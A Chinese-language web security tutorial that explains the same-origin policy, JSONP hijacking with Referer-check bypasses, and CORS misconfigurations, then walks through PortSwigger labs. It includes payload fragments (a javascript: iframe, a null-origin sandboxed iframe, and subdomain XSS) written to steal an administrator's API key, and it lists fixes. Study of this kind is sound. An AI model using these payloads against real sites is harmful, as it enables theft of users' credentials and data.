同源策略
在说jsonp和cors之前,先说说同源策略
同源策略是浏览器的一个重要安全策略,如果两个 URL的协议、域名、端口都相同,则认为是同源,如MDN上的描述
JSONP
jsonp是实现跨域的一种方法,它利用了script、iframe、img等标签的src属性不受同源策略约束的特性来跨域获取数据
jsonp包含两部分,其中网站A需要构造一个回调函数处理数据,并将回调函数名传递给网站B
1 | <script> |
网站B将数据用回调函数包住json数据返回
1 | func_name = request.args.get('callback') |
jsonp劫持
如果在上述过程中,网站B对jsonp请求没有进行安全检查就直接返回数据,则网站B便存在jsonp漏洞,攻击者利用jsonp漏洞能够获取用户在网站B上的数据,是由于没有对jsonp请求的来源进行校验和过滤导致的安全问题
referer绕过
当目标服务端校验请求的Referer字段时,此时可以根据实际情况进行绕过
我们使用script标签访问时,可以看到请求是带有referer字段的
使用iframe标签+javascript伪协议
1 | <iframe src="javascript:'<script>function jsonpCallback(response) {console.log(response);}</script><script src=http://127.0.0.1:5000/jsonp?callback=jsonpCallback></script>'"></iframe> |
meta标签
1 | <meta name="referrer" content="never"> |
https -> http
https转到http会返回一个空的referer
修复
限制referer
使用token
严格过滤 callback 函数名及 json里数据的输出
CORS
CORS,跨域资源共享。网站由于自身业务的需求,需要实现一些跨域的功能让不同域的页面之间能够相互访问。CORS 是 H5 提供的一种机制,WEB 应用程序可以通过在 HTTP 报文中增加特定字段来告诉浏览器,哪些不同来源的服务器有权访问本站资源
浏览器将CORS请求分成两类:简单请求(simple request)和 非简单请求(not-so-simple request)。只要同时满足以下两个条件就属于简单请求否则属于非简单请求:
(1)请求方法是以下三种之一:
HEAD
GET
POST
(2)HTTP的头信息不超出这几种字段
Accept
Accept-Language
Content-Language
Lat-Event-ID
Content-Type:application/x-www-form-urlencoded、multipart/form-data、text/plain
浏览器对简单请求和非简单请求的处理机制不一样,对于简单请求,浏览器就会立刻发送这个请求。
与前述简单请求不同,非简单请求须首先使用option方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。只有获得了肯定响应,浏览器才会正式发出 XMLHttpRequest 请求否则就报错
与CORS相关的字段:
Access-Control-Allow-Origin:限制请求的源域
Access-Control-Allow-Credentials:表示服务器是否允许浏览器将cookie 包含在请求中,否则就不添加此字段。但需要注意的是,如果要发送cookie,Access-Control-Allow-Origin就不能设为星号,必须明确指定与请求网页一致的域名,同时Cookie依然遵循同源策略,且前端需要在ajax请求中打开
withCredentials
属性1
2var xhr = new XMLHttpRequest();
xhr.withCredentials = true;Access-Control-Allow-Methods:允许使用的请求方法
CORS 跨域漏洞
成因:由于配置不当,Origin源未严格控制,从而造成跨域问题
攻击流程:
- 假设用户登陆一个含有 CORS 配置网站 vuln.com,同时又访问了攻击者提供的一个链接 evil.com
- evil.com 的网站向 vuln.com 这个网站发起请求获取敏感数据,浏览器能否接收信息取决于 vuln.com的配置
- 如果 vuln.com 配置了 Access-Control-Allow-Origin头且为预期,那么允许接收,否则浏览器会因为同源策略而不接收
靶场连接:https://portswigger.net/web-security/cors
可任意修改origin
实验1 CORS vulnerability with basic origin reflection
个人账户页面存在API key,目标是获取管理员的API key
查看源代码,发现API key是通过ajax传回来的
直接访问接口,修改origin看看存不存在cors漏洞,请求成功,说明存在
因此我们可以部署一个恶意脚本在我们的网站上,并将该网址链接发送给管理员,只要管理员访问了我们的链接,我们即可获取到管理员的API key
go to exploit server,输入如下恶意脚本
1 | <script> |
获取密钥
可修改origin为null
实验2 CORS vulnerability with trusted null origin
在该实验中,origin头不能随意设置了,但是仍可以设置为null
1 | <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> |
信任子域
实验3 CORS vulnerability with trusted insecure protocols
这个实验不能设置null了,但它信任子域,设置为子域仍能访问敏感数据
点击商品查看库存,发现productId存在xss,并且其属于子域
因此可通过 子域触发xss–访问主域敏感数据–保存数据
1 | <script> |